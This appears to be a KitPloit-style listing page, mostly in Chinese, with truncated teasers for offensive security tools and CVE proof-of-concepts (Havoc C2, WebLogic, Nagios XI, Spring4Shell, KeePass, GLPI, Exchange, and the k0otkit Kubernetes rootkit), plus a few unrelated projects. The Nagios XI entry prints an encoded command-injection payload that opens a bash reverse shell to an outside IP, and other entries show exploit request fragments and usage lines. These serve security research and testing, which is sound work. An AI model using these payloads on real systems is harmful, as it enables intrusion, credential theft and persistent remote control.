IServ Schoolserver User Enumeration

IServ Schoolserver suffers from a user enumeration vulnerability. The vendor does not feel this is an issue...

CVE-2024-41570-Havoc-C2-RCE

Havoc-C2-RCE CVE-2024-41570 这是Havoc C2框架中的一个链式RCE漏洞（CVE-2024-41570）。 命令注入：Havoc存在命令注入漏洞，允许经身份验证的用户在Teamserver上执行命令。影响版本从0.3到最新版本0.6。Havoc的默认配置文件包含硬编码密码，因此粗心的C2操作员如果在公共网络上使用默认配置，可立即被利用。 SSRF：此漏洞通过伪造demon agent注册和回连，在teamserver上打开一个TCP套接字并从中读写数据来利用。这允许攻击者泄露teamserver的源IP等更多信息。...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

CVE-2024-21182

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI注入 → 远程代码执行（实验环境） 一个自包含、单命令的Docker实验环境，用于复现并验证 Oracle WebLogic Server OpaqueReference JNDI注入漏洞家族（CVE-2024-21182，CVE-2023-21839的补丁绕过）并实现未经身份验证的远程代码执行 。 ⚠️ 仅限授权的安全研究、教育和补丁验证使用。 参见免责声明。仅针对此实验环境或您拥有的系统运行。 本实验演示的内容 CVE-2024-21182 是 Oracle WebLogic...

CVE-2025-54918-POC

CVE-2025-54918 – 概念验证 PoC ⚠️ 重要通知 重要提示： 要测试 CVE-2025-54918 ，您必须在目标 Active Directory 环境中创建一条 DNS 记录 。 测试前务必咨询客户并获得明确授权 ，因为这可能会影响生产环境中的 DNS 和身份验证行为。 此仓库包含一个技术概念验证 ，演示了低权限域用户 如何通过滥用 NTLM 反射结合身份验证强制 提升到域管理员级别访问权限 。 注意：即使将签署设置为 True（域控制器的默认值），该 CVE 仍可利用。此外，CVE-2025–54918 的修复针对的是 Windows 2025，而...

CVE-2019-20197

CVE-2019-20197 Nagios XI远程命令执行漏洞 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2023-41425

CVE-2023-41425 描述 WonderCMS 版本 3.2.0 至 3.4.2 中存在一个跨站脚本漏洞，允许远程攻击者通过上传特制脚本到 installModule 组件来执行任意代码。 这是 prodigiousMind 原始漏洞利用的修改版本，扩展了漏洞利用功能，使其能够在本地提供完整的漏洞利用服务，无需依赖外部网络连接。 当你在海上迷失，且发现你的自行车出了问题的时候，它很有用…… 注意：仓库中留下的 xss.js 仅用于演示目的，脚本运行时将用你的配置覆盖它。 用法 root@kitploit: usage: exploit.py -h -u URL -lh LHOST...

pythoncode-tutorials

Python 代码教程 这里是 The Python Code 网站所有教程的代码仓库。 教程列表 道德黑客 Scapy Scapy 入门：Python 网络操作工具 构建 ARP 欺骗程序。代码 检测 ARP 欺骗攻击。代码 如何使用 Scapy 在 Python 中制作 DHCP 监听器。代码 伪造接入点生成器。代码 使用 Scapy 强制设备断开连接。代码 简单网络扫描器。代码 编写 DNS 欺骗程序。代码 如何使用 Scapy 嗅探网络中的 HTTP 数据包。代码 如何使用 Scapy 在 Python 中构建 WiFi 扫描器。代码 如何在 Python 中进行 SYN...

python-hacklib

hacklib 面向黑客爱好者的Python工具包。 hacklib 是一个供对网络安全感兴趣的黑客爱好者使用的 Python 模块。它已不再活跃开发。 安装 要获取 hacklib，只需在命令行运行： root@kitploit: pip install hacklib hacklib 还带有一个用户界面。要使用它，你可以执行以下操作之一： 下载 hacklib.py 并在控制台运行： root@kitploit: python hacklib.py ---------------------------------------------- 嗨。我能为您做什么？ 请输入对应您选择的数...

Exchange2domain

Exchange2domain privexchange 的全合一工具。你只需要开放 Web 服务器端口，因此无需高权限 。 精彩文章！利用 Exchange：一次 API 调用即可获得域管理员权限。 依赖 这些工具需要 impacket。你可以通过 pip 安装：pip install impacket。 用法 root@kitploit: usage: Exchange2domain.py -h -u USERNAME -d DOMAIN -p PASSWORD --hashes HASHES --no-ssl --exchange-port EXCHANGEPORT -ah...

socks5

socks5 Socks5/Socks5h 服务器和客户端 该项目是为 Bridge 添加协议支持，也可单独使用 用法 API 文档 示例 支持 CONNECT 命令 支持 BIND 命令 支持 ASSOCIATE 命令 许可证 根据 MIT 许可证授权。完整的许可证文本请参见 LICENSE。...

B-XSSRF

B-XSSRF 用于检测和跟踪盲 XSS、XXE 和 SSRF 的工具包 设置 将文件上传到你的服务器。 创建一个数据库，并将 database.sql 文件导入其中。 修改 db.php 文件中的 数据库凭据 。 完成。 用法 盲 XSS root@kitploit: 盲 XXE root@kitploit: %ext; SSRF root@kitploit: GET /testssrf.php=http://mysite.com/bxssrf/request.php 默认凭据 root@kitploit: USER : [email protected] PASS :...

uBlockOrigin-HUGE-AI-Blocklist

uBlockOrigin 和 uBlacklist 大型 AI 黑名单 一份精心整理的大型网站黑名单（1000+），这些网站包含 AI 生成内容，用于通过 uBlock Origin 或 uBlacklist 清理图片搜索引擎（Google Search、DuckDuckGo 和 Bing）。 同样适用于移动设备（iOS、iPadOS 、Android ）通过 uBlacklist，以及通过 pi-hole/adguard（通过 Hosts 文件）。 PC/桌面端安装 使用 uBlock Origin 安装 一键导入（任何平台） 如果你已安装 uBlock...

CVE-2022-22965_PoC

Spring Framework RCE 漏洞利用（快速渗透测试笔记） 步骤1：在目标中找到一个接受 POST/PUT 方法的端点 + 对载荷进行编码（URL 编码） root@kitploit: POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; Content-Type: application/x-www-form-urlencoded User-Agent: alex666 c0: %// c1: Runtime c2: % Connection...

linux-exploit-suggester

LES: Linux 权限提升审计工具 快速下载： root@kitploit: wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh 关于 LES 使用和内部机制的详细信息： root@kitploit: https://blog.z-labs.eu/2019/05/10/les-paper.html LES 的附加资源： root@kitploit: https://github.com/mzet-/les-res...

PoC_CVE-2023-24055

PoCCVE-2023-24055 如何运行？ 编辑脚本中的 $User 变量，将其值替换为你的用户名。 以管理员身份打开 PowerShell 并运行脚本： root@kitploit: ./PoCCVE-2023-24055.ps1 脚本执行后打开 KeePass。 结果保存在 C:\Users\yourusername\AppData\Local\Temp\output.xml 中。 密码以明文形式存储在： root@kitploit: Password ExempePassword 来源 https://vulners.com/cve/CVE-2023-24055...

CVE-2020-7471

CVE-2020-7471 这个仓库提供 CVE-2020-7471 Potential SQL injection via StringAggdelimiter 漏洞的环境和 POC 受影响的 django 版本 1.11 到 1.11.28（不含） 2.2 到 2.2.10（不含） 3.0 到 3.0.3（不含） 下载使用前需要如下操作： 1. 安装 django 漏洞版本，我测试用的是 root@kitploit: pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple 2. 参考...

attesor

Rosetta 2 逆向工程项目 一项全面的逆向工程，旨在理解和记录苹果的 Rosetta 2 二进制翻译技术。 目录 1. 背景 2. 什么是 Rosetta? 3. 什么是 Rosetta 2? 4. 苹果如何在 macOS 中交付 Rosetta 2 5. 技术架构 6. 本项目 7. 文件结构 8. 使用方法 9. 进度 10. 参考资料 背景 架构转型 2020年11月，苹果发布了首批 Apple Silicon Mac，标志着从 Intel x8664 处理器到自研 ARM M1 芯片的历史性转型。这是苹果的第三次重大架构转型： 1. 1994 : Motorola 6800...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参考 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 用法 root@kitploit: pip install -r requirements.txt root@kitploit: ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Comma...

k0otkit

k0otkit - 以 K8s 的方式操纵 K8s 简介 k0otkit 是一种通用的后渗透技术，可用于针对 Kubernetes 集群的渗透。 借助 k0otkit，你可以快速、隐蔽且持续地控制目标 Kubernetes 集群中的所有节点（反向 Shell）。 k0otkit 是 Kubernetes 和 rootkit 的结合。 前置条件： k0otkit 是一个后渗透工具，因此你必须首先攻陷一个集群，设法从容器中逃逸并获取主节点的 root 权限（准确地说，你需要获取目标 Kubernetes 的 admin 权限）。 场景： 1. 经过 Web 渗透后，你获得了目标的 Shell...